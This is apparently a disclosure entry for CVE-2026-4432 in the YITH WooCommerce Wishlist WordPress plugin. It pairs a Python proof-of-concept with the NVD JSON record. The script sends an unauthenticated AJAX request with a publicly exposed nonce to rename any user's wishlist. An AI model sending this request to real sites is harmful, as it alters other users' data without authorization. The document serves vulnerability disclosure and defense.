CVE-2026-4432

import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Step 1: Retrieve the nonce from the wishlist page source code. # The nonce is typically found in a hidden input field or within a JS variable. # For demonstration, we assume the nonce 'abcd1234ef' was extracted. extracted_nonce = "abcd1234ef" # Step 2: Define the target wishlist ID to rename and the new malicious title. victim_wishlist_id = "15" malicious_title = "Hacked_By_Attacker" # Step 3: Construct the POST payload for the vulnerable AJAX action. payload = { "action": "yith_wcwl_save_title", # The vulnerable AJAX action "wishlist_id": victim_wishlist_id, # Target wishlist ID "wishlist_title": malicious_title, # New title to set "nonce": extracted_nonce # The publicly exposed nonce } # Step 4: Send the exploitation request. # No authentication cookies are required. response = requests.post(target_url, data=payload) # Step 5: Verify the exploit result. if response.status_code == 200 and "success" in response.text: print(f"[+] Exploit successful! Wishlist ID {victim_wishlist_id} renamed.") else: print("[-] Exploit failed. Check nonce or target status.")

{"cve": {"id": "CVE-2026-4432", "sourceIdentifier": "[email protected]", "published": "2026-04-10T07:16:21.237", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The YITH WooCommerce Wishlist WordPress plugin before 4.13.0 does not properly validate wishlist ownership in the save_title() AJAX handler before allowing wishlist renaming operations. The function only checks for a valid nonce, which is publicly exposed in the page source of the /wishlist/ page, making it possible for unauthenticated attackers to rename any wishlist belonging to any user on the site."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "references": [{"url": "https://wpscan.com/vulnerability/2f052086-b691-48df-9b08-2cb1db65e14e/", "source": "[email protected]"}]}}